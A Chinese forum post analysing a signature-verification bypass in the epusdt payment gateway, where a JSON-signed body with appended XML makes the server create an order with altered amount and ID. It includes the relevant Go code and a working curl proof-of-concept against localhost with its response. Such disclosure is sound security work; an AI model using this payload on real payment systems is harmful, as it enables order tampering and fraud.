epusdt 没啥用的漏洞

sduoduo233 · 5 小时前 · 103 次点击

省流:不能零元购

先看一看这一段检查签名的 middleware:

// https://github.com/assimon/epusdt/blob/master/src/middleware/check_sign.go

func CheckApiSign() echo.MiddlewareFunc {
	return func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(ctx echo.Context) error {
            
			// 先读取所有 Body 内容
			params, err := ioutil.ReadAll(ctx.Request().Body)
			if err != nil {
				return constant.SignatureErr
			}
            
            
			// 解码 JSON
			// 注意这里:go 的 json 解码是不管 json 后面的垃圾数据的
			m := make(map[string]interface{})
			err = json.Cjson.Unmarshal(params, &m) // err 被忽略了
            
			// 这里的 signature 可以是任意类型
			signature, ok := m["signature"]
			if !ok {
				return constant.SignatureErr
			}
            
			// 计算 signature
			checkSignature, err := sign.Get(m, config.GetApiAuthToken())
			if err != nil {
				return constant.SignatureErr
			}
            
			// 虽然 signature 可以是任意类型,但是这里应该是安全的
			// 因为 go 没有 js 双等于号的自动类型转换
			if checkSignature != signature {
				return constant.SignatureErr
			}
            
			// 重置 Body
			// 注意 JSON 后面的垃圾数据会被保留
			ctx.Request().Body = ioutil.NopCloser(bytes.NewBuffer(params))
            
			return next(ctx)
		}
	}
}

middleware 后面的 controller:

// https://github.com/assimon/epusdt/blob/master/src/model/request/order_request.go

type CreateTransactionRequest struct {
	OrderId     string  `json:"order_id" validate:"required|maxLen:32"`
	Amount      float64 `json:"amount" validate:"required|isFloat|gt:0.01"`
	NotifyUrl   string  `json:"notify_url" validate:"required"`
	Signature   string  `json:"signature"  validate:"required"`
	RedirectUrl string  `json:"redirect_url"`
}
// https://github.com/assimon/epusdt/blob/master/src/controller/comm/order_controller.go

func (c *BaseCommController) CreateTransaction(ctx echo.Context) (err error) {
	req := new(request.CreateTransactionRequest)
    
	// 这里用到了 echo.Context.Bind
	if err = ctx.Bind(req); err != nil {
		return c.FailJson(ctx, constant.ParamsMarshalErr)
	}
    
	if err = c.ValidateStruct(ctx, req); err != nil {
		return c.FailJson(ctx, err)
	}
    
	resp, err := service.CreateTransaction(req)
	if err != nil {
		return c.FailJson(ctx, err)
	}
    
	return c.SucJson(ctx, resp)
}

echo.Context.Bind 支持多种 mimetype ,所以说应用层可以是 XML 编码,签名是 JSON 编码

// https://github.com/labstack/echo/blob/9e73691837f52c7fdf4898cbe5bf1d157387bdb0/bind.go#L68

func (b *DefaultBinder) BindBody(c Context, i interface{}) (err error) {
	req := c.Request()
	if req.ContentLength <= 0 {
		return
	}

	// mediatype is found like `mime.ParseMediaType()` does it
	base, _, _ := strings.Cut(req.Header.Get(HeaderContentType), ";")
	mediatype := strings.TrimSpace(base)

	switch mediatype {
	case MIMEApplicationJSON:
		
	case MIMEApplicationXML, MIMETextXML:
		if err = xml.NewDecoder(req.Body).Decode(i); err != nil {
			if ute, ok := err.(*xml.UnsupportedTypeError); ok {
				return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Unsupported type error: type=%v, error=%v", ute.Type, ute.Error())).SetInternal(err)
			} else if se, ok := err.(*xml.SyntaxError); ok {
				return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Syntax error: line=%v, error=%v", se.Line, se.Error())).SetInternal(err)
			}
			return NewHTTPError( http.StatusBadRequest, err.Error()).SetInternal(err)
		}
	case MIMEApplicationForm:
		...
	case MIMEMultipartForm:
		...
	default:
		return ErrUnsupportedMediaType
	}
	return nil
}

假设我们已经拿到了一个合法的请求:

curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}" -H "Content-Type: application/json" http://127.0.0.1:8000/api/v1/order/create-transaction

那么就可以把 Content-Type 改称 application/xml,在 JSON 的后面附加上 XML 的请求。检查签名时会忽略后面的 XML 。

curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}<P><OrderId>3</OrderId><Amount>99.9</Amount><NotifyUrl>https://example.com</NotifyUrl><RedirectUrl>https://example.com</RedirectUrl><Signature>1</Signature></P>" -H "Content-Type: application/xml" http://127.0.0.1:8000/api/v1/order/create-transaction

{"status_code":200,"message":"success","data":{"trade_id":"2024***","order_id":"3","amount":99.9,"actual_amount":13.78,"token":"***","expiration_time":***,"payment_url":"https://example.com/pay/checkout-counter/2024***"},"request_id":"***"}

在检查签名的时候会用到前面的 JSON ,所以这个请求可以通过签名验证。但是在 controller 会把 Body 当成 XML 来解码,所以实际创建的订单的参数是后面的 XML 。

这个漏洞没啥用,因为一般情况下是拿不到合法的请求的

举报· 103 次点击
登录 注册 站外分享
快来抢沙发
0 条回复  
返回顶部